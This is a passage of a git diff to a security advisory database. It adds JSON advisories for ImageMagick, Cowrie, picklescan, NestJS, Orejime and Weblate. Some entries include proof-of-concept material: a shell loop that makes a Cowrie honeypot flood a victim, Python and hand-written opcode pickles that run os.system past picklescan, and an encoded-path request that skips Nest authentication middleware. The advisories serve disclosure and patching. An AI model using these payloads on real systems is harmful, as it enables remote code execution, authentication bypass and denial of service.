"GHSA-72mh-hgpm-6384", - "modified": "2025-12-19T19:17:27Z", + "modified": "2026-01-13T16:53:38Z", "published": "2025-12-19T19:17:26Z", "aliases": [ "CVE-2025-68457" @@ -9,9 +9,13 @@ "summary": "Orejime has executable code in HTML attributes", "details": "### Impact\n\nOn HTML elements handled by Orejime, one could run malicious code by embedding `javascript:` code within data attributes.\nWhen consenting to the related purpose, Orejime would turn data attributes into unprefixed ones (i.e. `data-href` into `href`), thus executing the code.\n\nThis shouldn't have any impact on most setups, as elements handled by Orejime are generally hardcoded. The problem would only arise if somebody could inject HTML code within pages.\n\nSee https://github.com/boscop-fr/orejime/issues/142 for the original report.\n\n### Patches\n\nThe problem has been patched by https://github.com/boscop-fr/orejime/pull/143. It is available in version 2.3.2.\n\n### Workarounds\n\nThe problem can be fixed outside of Orejime by sanitizing attributes which could contain executable code.", "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N" + }, { "type": "CVSS_V4", - "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:U" + "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:U" } ], "affected": [ diff --git a/advisories/github-reviewed/2025/12/GHSA-7rvh-xqp3-pr8j/GHSA-7rvh-xqp3-pr8j.json b/advisories/github-reviewed/2025/12/GHSA-7rvh-xqp3-pr8j/GHSA-7rvh-xqp3-pr8j.json new file mode 100644 index 0000000000000..6c24aba3ff568 --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-7rvh-xqp3-pr8j/GHSA-7rvh-xqp3-pr8j.json @@ -0,0 +1,369 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-7rvh-xqp3-pr8j", + "modified": "2025-12-30T23:08:15Z", + "published": "2025-12-30T23:08:15Z", + "aliases": [ + "CVE-2025-68950" + ], + "summary": "ImageMagick's failure to limit MVG mutual causes Stack Overflow", + "details": "### Summary\nMagick fails to check for circular references between two MVGs, leading to a stack overflow.\n\n### Details\n\nAfter reading mvg1 using Magick, the following is displayed:\n```\n./magick -limit memory 2GiB -limit map 2GiB -limit disk 0 mvg:L1.mvg out.png\nAddressSanitizer:DEADLYSIGNAL\n=================================================================\n==3564123==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x000000000000 (pc 0x5589549a4458 bp 0x7ffcc61f34a0 sp 0x7ffcc61efdd0 T0)\n #0 0x5589549a4458 in GetImagePixelCache MagickCore/cache.c:1726\n #1 0x5589549b02c1 in QueueAuthenticPixelCacheNexus MagickCore/cache.c:4261\n #2 0x5589549a2f24 in GetAuthenticPixelCacheNexus MagickCore/cache.c:1368\n #3 0x5589549bae98 in GetCacheViewAuthenticPixels MagickCore/cache-view.c:311\n #4 0x558954afb3a5 in DrawPolygonPrimitive._omp_fn.1 MagickCore/draw.c:5172\n #5 0x7f62dd89fa15 in GOMP_parallel (/lib/x86_64-linux-gnu/libgomp.so.1+0x14a15)\n #6 0x558954ae0f41 in DrawPolygonPrimitive MagickCore/draw.c:5156\n #7 0x558954ae5607 in DrawPrimitive MagickCore/draw.c:5875\n #8 0x558954adc72d in RenderMVGContent MagickCore/draw.c:4522\n #9 0x558954adcf67 in DrawImage MagickCore/draw.c:4561\n #10 0x55895496cedb in RenderFreetype MagickCore/annotate.c:2065\n #11 0x55895496702e in RenderType MagickCore/annotate.c:1112\n #12 0x558954963da7 in AnnotateImage MagickCore/annotate.c:544\n #13 0x558954ae4e0a in DrawPrimitive MagickCore/draw.c:5799\n #14 0x558954adc72d in RenderMVGContent MagickCore/draw.c:4522\n #15 0x558954adcf67 in DrawImage MagickCore/draw.c:4561\n #16 0x558954755a46 in ReadMVGImage coders/mvg.c:240\n #17 0x558954a15ecc in ReadImage MagickCore/constitute.c:743\n #18 0x558954ae3c76 in DrawPrimitive MagickCore/draw.c:5705\n #19 0x558954adc72d in RenderMVGContent MagickCore/draw.c:4522\n #20 0x558954adcf67 in DrawImage MagickCore/draw.c:4561\n #21 0x558954755a46 in ReadMVGImage coders/mvg.c:240\n ...\n```\n\n### Impact\nThis is a DoS vulnerability, and any situation that allows reading the mvg file will be affected.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" + } + ], + "affected": [ + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q16-AnyCPU" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.1" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q16-HDRI-AnyCPU" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.1" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q16-HDRI-OpenMP-arm64" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.1" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q16-HDRI-OpenMP-x64" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.1" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q16-HDRI-arm64" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.1" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q16-HDRI-x64" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.1" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q16-HDRI-x86" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.1" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q16-OpenMP-arm64" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.1" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q16-OpenMP-x64" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.1" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q16-arm64" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.1" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q16-x86" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.1" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q8-AnyCPU" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.1" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q8-OpenMP-arm64" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.1" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q8-OpenMP-x64" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.1" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q8-arm64" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.1" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q8-x64" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.1" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q8-x86" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.1" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-7rvh-xqp3-pr8j" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68950" + }, + { + "type": "WEB", + "url": "https://github.com/ImageMagick/ImageMagick/commit/204718c2211903949dcfc0df8e65ed066b008dec" + }, + { + "type": "PACKAGE", + "url": "https://github.com/ImageMagick/ImageMagick" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-674" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2025-12-30T23:08:15Z", + "nvd_published_at": "2025-12-30T17:15:43Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-83jg-m2pm-4jxj/GHSA-83jg-m2pm-4jxj.json b/advisories/github-reviewed/2025/12/GHSA-83jg-m2pm-4jxj/GHSA-83jg-m2pm-4jxj.json index 0be04c2e88cfe..1e9b4dde42dfb 100644 --- a/advisories/github-reviewed/2025/12/GHSA-83jg-m2pm-4jxj/GHSA-83jg-m2pm-4jxj.json +++ b/advisories/github-reviewed/2025/12/GHSA-83jg-m2pm-4jxj/GHSA-83jg-m2pm-4jxj.json @@ -1,15 +1,21 @@ { "schema_version": "1.4.0", "id": "GHSA-83jg-m2pm-4jxj", - "modified": "2025-12-20T17:42:07Z", + "modified": "2026-01-14T14:29:45Z", "published": "2025-12-20T17:42:07Z", - "aliases": [], + "aliases": [ + "CVE-2025-34469" + ], "summary": "Cowrie has a SSRF vulnerability in wget/curl emulation enabling DDoS amplification", - "details": "### Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability in Cowrie's emulated shell mode allows unauthenticated attackers to abuse the honeypot as an amplification vector for HTTP-based denial-of-service attacks against arbitrary third-party hosts.\n\n### Details\n\nWhen Cowrie operates in emulated shell mode (the default configuration), it basically emulates common Linux commands. The `wget` and `curl` command emulations actually perform real outbound HTTP requests to the destinations specified by the attacker, as this functionality is intended to allow Cowrie to save downloaded files for later inspection.\n\nAn attacker who connects to the honeypot via SSH or Telnet can repeatedly invoke these commands targeting a victim host. Since there was no rate limiting mechanism in place, the attacker could generate unlimited outbound HTTP traffic toward the victim. The requests originate from the honeypot's IP address, effectively masking the attacker's identity and turning the honeypot into an unwitting participant in distributed denial-of-service (DDoS) attacks.\n\nThis vulnerability was observed being actively exploited in the wild.\n\n**Acknowledgements**\nThis vulnerability was investigated by _Abraham Gebrehiwot_ and _Filippo Lauria_, both affiliated with the [Institute of Informatics and Telematics](https://www.iit.cnr.it/), Italian National Research Council (CNR).\n\n**Fix**\nThis issue has been fixed in version 2.9.0 via PR #2800, which introduces a rate limiting mechanism for outbound requests in command emulations such as `wget` and `curl`.\n\n### PoC\n\nThis is a rudimentary proof of concept demonstrating the amplification potential of this vulnerability.\n\n**Setup:**\n- Victim machine (192.168.1.30): runs a simple HTTP server\n- Attacker machine (192.168.1.20): initiates the attack\n- Cowrie honeypot (192.168.1.10): configured in emulated shell mode with SSH access (credentials: `test:test`)\n\n**On the victim machine**, start an HTTP server:\n```bash\nsudo python3 -m http.server 80\n```\n\n**On the attacker machine**, execute:\n```bash\nPAYLOAD=$(for i in {1..100}; do echo -n 'wget -q http://192.168.1.30;'; done) && \\\nfor i in {1..10}; do sshpass -p test ssh test@192.168.1.10 \"$PAYLOAD\"; done\n```\n\nThis command builds a `PAYLOAD` consisting of 100 concatenated `wget` commands, then executes it 10 times via SSH, resulting in 1,000 HTTP requests toward the victim from a single attack script. The amplification factor can be arbitrarily increased by adjusting these values, bounded by technical limitations such as argument length, buffer sizes, etc.\n\n**Result:** The victim's HTTP server logs show 1,000 requests originating exclusively from the honeypot's IP address (192.168.1.10), received within approximately 5 seconds (truncated for brevity):\n```\n192.168.1.10 - - [11/Dec/2025 14:33:03] \"GET / HTTP/1.1\" 200 -\n192.168.1.10 - - [11/Dec/2025 14:33:03] \"GET / HTTP/1.1\" 200 -\n192.168.1.10 - - [11/Dec/2025 14:33:03] \"GET / HTTP/1.1\" 200 -\n...\n192.168.1.10 - - [11/Dec/2025 14:33:08] \"GET / HTTP/1.1\" 200 -\n192.168.1.10 - - [11/Dec/2025 14:33:08] \"GET / HTTP/1.1\" 200 -\n192.168.1.10 - - [11/Dec/2025 14:33:08] \"GET / HTTP/1.1\" 200 -\n```\n\nNotice that the attacker's IP (192.168.1.20) never appears in the victim's logs, demonstrating how the honeypot masks the attacker's identity.\n\n### Impact\n\nThis is a Server-Side Request Forgery (SSRF) vulnerability that enables abuse of Cowrie honeypots as DDoS amplification nodes.\n\n**Who is impacted:** Any organization running Cowrie in emulated shell mode (the default configuration) with versions prior to 2.9.0.\n\n**Consequences:**\n- Third-party victims receive unwanted HTTP traffic from the honeypot's IP address\n- Attackers can mask their identity behind the honeypot's IP\n- Honeypot operators may face abuse complaints or have their infrastructure blocklisted\n- Network resources of the honeypot host are consumed", + "details": "### Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability in Cowrie's emulated shell mode allows unauthenticated attackers to abuse the honeypot as an amplification vector for HTTP-based denial-of-service attacks against arbitrary third-party hosts.\n\n### Details\n\nWhen Cowrie operates in emulated shell mode (the default configuration), it basically emulates common Linux commands. The `wget` and `curl` command emulations actually perform real outbound HTTP requests to the destinations specified by the attacker, as this functionality is intended to allow Cowrie to save downloaded files for later inspection.\n\nAn attacker who connects to the honeypot via SSH or Telnet can repeatedly invoke these commands targeting a victim host. Since there was no rate limiting mechanism in place, the attacker could generate unlimited outbound HTTP traffic toward the victim. The requests originate from the honeypot's IP address, effectively masking the attacker's identity and turning the honeypot into an unwitting participant in distributed denial-of-service (DDoS) attacks.\n\nThis vulnerability was observed being actively exploited in the wild.\n\n**Acknowledgements**\nThis vulnerability was investigated by _[Abraham Gebrehiwot](https://www.iit.cnr.it/en/abraham.gebrehiwot/)_ and _Filippo Lauria_, with additional contributions from _Michele Castellaneta_, _Claudio Porta_ and _Sara Afzal_. All researchers are affiliated with the [Institute of Informatics and Telematics](https://www.iit.cnr.it/en/) (IIT), [Italian National Research Council](https://www.cnr.it/en/) (CNR).\n\n**Fix**\nThis issue has been fixed in version 2.9.0 via PR #2800, which introduces a rate limiting mechanism for outbound requests in command emulations such as `wget` and `curl`.\n\n### PoC\n\nThis is a rudimentary proof of concept demonstrating the amplification potential of this vulnerability.\n\n**Setup:**\n- Victim machine (192.168.1.30): runs a simple HTTP server\n- Attacker machine (192.168.1.20): initiates the attack\n- Cowrie honeypot (192.168.1.10): configured in emulated shell mode with SSH access (credentials: `test:test`)\n\n**On the victim machine**, start an HTTP server:\n```bash\nsudo python3 -m http.server 80\n```\n\n**On the attacker machine**, execute:\n```bash\nPAYLOAD=$(for i in {1..100}; do echo -n 'wget -q http://192.168.1.30;'; done) && \\\nfor i in {1..10}; do sshpass -p test ssh test@192.168.1.10 \"$PAYLOAD\"; done\n```\n\nThis command builds a `PAYLOAD` consisting of 100 concatenated `wget` commands, then executes it 10 times via SSH, resulting in 1,000 HTTP requests toward the victim from a single attack script. The amplification factor can be arbitrarily increased by adjusting these values, bounded by technical limitations such as argument length, buffer sizes, etc.\n\n**Result:** The victim's HTTP server logs show 1,000 requests originating exclusively from the honeypot's IP address (192.168.1.10), received within approximately 5 seconds (truncated for brevity):\n```\n192.168.1.10 - - [11/Dec/2025 14:33:03] \"GET / HTTP/1.1\" 200 -\n192.168.1.10 - - [11/Dec/2025 14:33:03] \"GET / HTTP/1.1\" 200 -\n192.168.1.10 - - [11/Dec/2025 14:33:03] \"GET / HTTP/1.1\" 200 -\n...\n192.168.1.10 - - [11/Dec/2025 14:33:08] \"GET / HTTP/1.1\" 200 -\n192.168.1.10 - - [11/Dec/2025 14:33:08] \"GET / HTTP/1.1\" 200 -\n192.168.1.10 - - [11/Dec/2025 14:33:08] \"GET / HTTP/1.1\" 200 -\n```\n\nNotice that the attacker's IP (192.168.1.20) never appears in the victim's logs, demonstrating how the honeypot masks the attacker's identity.\n\n### Impact\n\nThis is a Server-Side Request Forgery (SSRF) vulnerability that enables abuse of Cowrie honeypots as DDoS amplification nodes.\n\n**Who is impacted:** Any organization running Cowrie in emulated shell mode (the default configuration) with versions prior to 2.9.0.\n\n**Consequences:**\n- Third-party victims receive unwanted HTTP traffic from the honeypot's IP address\n- Attackers can mask their identity behind the honeypot's IP\n- Honeypot operators may face abuse complaints or have their infrastructure blocklisted\n- Network resources of the honeypot host are consumed", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L" } ], "affected": [ @@ -38,10 +44,22 @@ "type": "WEB", "url": "https://github.com/cowrie/cowrie/security/advisories/GHSA-83jg-m2pm-4jxj" }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-34469" + }, + { + "type": "WEB", + "url": "https://github.com/cowrie/cowrie/issues/2622" + }, { "type": "WEB", "url": "https://github.com/cowrie/cowrie/pull/2800" }, + { + "type": "ADVISORY", + "url": "https://github.com/advisories/GHSA-83jg-m2pm-4jxj" + }, { "type": "PACKAGE", "url": "https://github.com/cowrie/cowrie" @@ -49,15 +67,23 @@ { "type": "WEB", "url": "https://github.com/cowrie/cowrie/releases/tag/v2.9.0" + }, + { + "type": "WEB", + "url": "https://www.cve.org/cverecord?id=CVE-2025-34469" + }, + { + "type": "WEB", + "url": "https://www.vulncheck.com/advisories/cowrie-unrestricted-wget-curl-emulation-enables-ssrf-based-ddos-amplification" } ], "database_specific": { "cwe_ids": [ "CWE-918" ], - "severity": "HIGH", + "severity": "MODERATE", "github_reviewed": true, "github_reviewed_at": "2025-12-20T17:42:07Z", - "nvd_published_at": null + "nvd_published_at": "2025-12-31T22:15:49Z" } } \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-84r2-jw7c-4r5q/GHSA-84r2-jw7c-4r5q.json b/advisories/github-reviewed/2025/12/GHSA-84r2-jw7c-4r5q/GHSA-84r2-jw7c-4r5q.json new file mode 100644 index 0000000000000..c99c27ca677c4 --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-84r2-jw7c-4r5q/GHSA-84r2-jw7c-4r5q.json @@ -0,0 +1,67 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-84r2-jw7c-4r5q", + "modified": "2025-12-29T15:24:20Z", + "published": "2025-12-29T15:24:20Z", + "aliases": [], + "summary": "Picklescan has Incomplete List of Disallowed Inputs", + "details": "### Summary\nCurrently picklescanner only blocks some specific functions of the pydoc and operator modules. Attackers can use other functions within these allowed modules to go through undetected and achieve RCE on the final user. Particularly\n* pydoc.locate: Can dynamically resolve and import arbitrary modules (e.g., resolving the string \"os\" to the actual os module).\n* operator.methodcaller: Allows executing a method on an object. When combined with a resolved module object, it can execute functions like system.\n\nSince locate and methodcaller are not explicitly listed in the deny-list, picklescan treats them as \"Safe\" or \"Suspicious\" (depending on configuration) but does not flag them as \"Dangerous\", allowing the malicious file to bypass the security check.\n\n### PoC\n\nuse the provided script to create a malicious pickle file \n\n```python\nimport pickle\nimport pydoc\nimport operator\nimport os\n\nclass ModuleLocator:\n def __init__(self, module_name):\n self.module_name = module_name\n \n def __reduce__(self):\n return (pydoc.locate, (self.module_name,))\n\nclass RCEPayload:\n def __reduce__(self):\n \n cmd = \"notepad\" #put your payload here\n \n mc = operator.methodcaller(\"system\", cmd)\n return (mc, (ModuleLocator(\"os\"),))\n\ndef generate_exploit():\n payload = RCEPayload()\n \n try:\n with open(\"bypass.pkl\", \"wb\") as f:\n f.write(pickle.dumps(payload))\n print(\"File 'bypass.pkl' created.\")\n except Exception as e:\n print(f\"Error: {e}\")\n\nif __name__ == \"__main__\":\n generate_exploit()\n```\n\nThe generated payload will not be flagged as dangerous by picklescan but is actually malicious. \n\n```python\nimport pickle\nprint(\"Loading bypass.pkl...\")\npickle.load(open(\"bypass.pkl\", \"rb\"))\n```\n\nScript to open the pickle file, demonstrating impact\n\n\"image\"\n\n\n### Remediation\nThe deny-list for these modules must be upgraded from specific functions to a wildcard (*), indicating that any use of these modules is dangerous.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "picklescan" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.0.33" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-84r2-jw7c-4r5q" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/pull/53" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab" + }, + { + "type": "PACKAGE", + "url": "https://github.com/mmaitre314/picklescan" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-184" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2025-12-29T15:24:20Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-8vcg-cfxj-p5m3/GHSA-8vcg-cfxj-p5m3.json b/advisories/github-reviewed/2025/12/GHSA-8vcg-cfxj-p5m3/GHSA-8vcg-cfxj-p5m3.json index 4a8bd067165ad..364900b302453 100644 --- a/advisories/github-reviewed/2025/12/GHSA-8vcg-cfxj-p5m3/GHSA-8vcg-cfxj-p5m3.json +++ b/advisories/github-reviewed/2025/12/GHSA-8vcg-cfxj-p5m3/GHSA-8vcg-cfxj-p5m3.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-8vcg-cfxj-p5m3", - "modified": "2025-12-20T05:26:41Z", + "modified": "2026-02-06T19:28:28Z", "published": "2025-12-18T23:20:35Z", "aliases": [ "CVE-2025-68398" @@ -52,6 +52,14 @@ "type": "WEB", "url": "https://github.com/WeblateOrg/weblate/pull/17345" }, + { + "type": "WEB", + "url": "https://github.com/WeblateOrg/weblate/commit/4837a4154390f7c1d03c0e398aa6439dcfa361b4" + }, + { + "type": "WEB", + "url": "https://github.com/WeblateOrg/weblate/commit/dd8c9d7b00eebe28770fa0e2cd96126791765ea7" + }, { "type": "PACKAGE", "url": "https://github.com/WeblateOrg/weblate" diff --git a/advisories/github-reviewed/2025/12/GHSA-8wpr-639p-ccrj/GHSA-8wpr-639p-ccrj.json b/advisories/github-reviewed/2025/12/GHSA-8wpr-639p-ccrj/GHSA-8wpr-639p-ccrj.json new file mode 100644 index 0000000000000..0d2897bf7935e --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-8wpr-639p-ccrj/GHSA-8wpr-639p-ccrj.json @@ -0,0 +1,68 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-8wpr-639p-ccrj", + "modified": "2025-12-30T15:32:44Z", + "published": "2025-12-30T15:32:44Z", + "aliases": [ + "CVE-2025-69211" + ], + "summary": "Nest has a Fastify URL Encoding Middleware Bypass (TOCTOU)", + "details": "A NestJS application is vulnerable if it meets all of the following criteria:\n\n1. Platform: Uses `@nestjs/platform-fastify`.\n2. Security Mechanism: Relies on `NestMiddleware` (via `MiddlewareConsumer`) for security checks (authentication, authorization, etc.), or through `app.use()`\n3. Routing: Applies middleware to specific routes using string paths or controllers (e.g., `.forRoutes('admin')`).\nExample Vulnerable Config:\n\n```ts\n// app.module.ts\nexport class AppModule implements NestModule {\n configure(consumer: MiddlewareConsumer) {\n consumer\n .apply(AuthMiddleware) // Security check\n .forRoutes('admin'); // Vulnerable: Path-based restriction\n }\n}\n```\n\nAttack Vector:\n\n- Target Route: `/admin`\n- Middleware Path: `admin`\n- Attack Request: `GET /%61dmin`\n- Result: Middleware is skipped (no match on `%61dmin`), but controller for `/admin` is executed.\n\nConsequences:\n\n- Authentication Bypass: Unauthenticated users can access protected routes.\n- Authorization Bypass: Restricted administrative endpoints become accessible to lower-privileged users.\n- Input Validation Bypass: Middleware performing sanitization or validation can be skipped.\n\n### Patches\n\nPatched in `@nestjs/platform-fastify@11.1.11`\n\n### Resources\n\nCredit goes to Hacktron AI for reporting this issue.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:U" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "@nestjs/platform-fastify" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "11.1.11" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "< 11.1.10" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/nestjs/nest/security/advisories/GHSA-8wpr-639p-ccrj" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69211" + }, + { + "type": "WEB", + "url": "https://github.com/nestjs/nest/commit/c4cedda15a05aafec1e6045b36b0335ab850e771" + }, + { + "type": "PACKAGE", + "url": "https://github.com/nestjs/nest" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-367" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2025-12-30T15:32:44Z", + "nvd_published_at": "2025-12-29T16:15:44Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-955r-x9j8-7rhh/GHSA-955r-x9j8-7rhh.json b/advisories/github-reviewed/2025/12/GHSA-955r-x9j8-7rhh/GHSA-955r-x9j8-7rhh.json new file mode 100644 index 0000000000000..846c891bcc720 --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-955r-x9j8-7rhh/GHSA-955r-x9j8-7rhh.json @@ -0,0 +1,64 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-955r-x9j8-7rhh", + "modified": "2025-12-30T15:24:26Z", + "published": "2025-12-30T15:22:31Z", + "aliases": [], + "summary": "Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.methodcaller", + "details": "### Summary\nPicklescan uses _operator.methodcaller, which is a built-in python library function to execute remote pickle files.\n\n### Details\nThe attack payload executes in the following steps:\n\n- First, the attacker crafts the payload by calling to _operator.methodcaller function in reduce method\n- Then when after the victim after checks whether or not the pickle file is safe by using Picklescan library and the library doesn't dectect any dangerous functions, pickle.load() loads this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n```\nimport pickle\nimport pickletools\nopcode2 = b'''cbuiltins\n__import__\n(Vos\ntRp0\n0c_operator\nmethodcaller\n(Vsystem\nVecho \"pwned by _operator.methodcaller\"\ntR(g0\ntR.'''\npickletools.dis(opcode2)\npickle.loads(opcode2)\n```\nThis PoC can't be easily create by pickle.dumps, so it was manually built. \n\n### Impact\nAny organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nAttackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nAttackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Report by\nPinji Chen (cpj24@mails.tsinghua.edu.cn) from NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu (coolwind326@gmail.com).", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "picklescan" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.0.34" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-955r-x9j8-7rhh" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/commit/f2dea43e0c838e09ace1e62994143254b51de927" + }, + { + "type": "PACKAGE", + "url": "https://github.com/mmaitre314/picklescan" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.34" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-502", + "CWE-94" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2025-12-30T15:22:31Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-95fv-5gfj-2r84/GHSA-95fv-5gfj-2r84.json b/advisories/github-reviewed/2025/12/GHSA-95fv-5gfj-2r84/GHSA-95fv-5gfj-2r84.json index b7ad679cd4643..8e7e448c4f22d 100644 --- a/advisories/github-reviewed/2025/12/GHSA-95fv-5gfj-2r84/GHSA-95fv-5gfj-2r84.json +++ b/advisories/github-reviewed/2025/12/GHSA-95fv-5gfj-2r84/GHSA-95fv-5gfj-2r84.json @@ -1,13 +1,14 @@ { "schema_version": "1.4.0", "id": 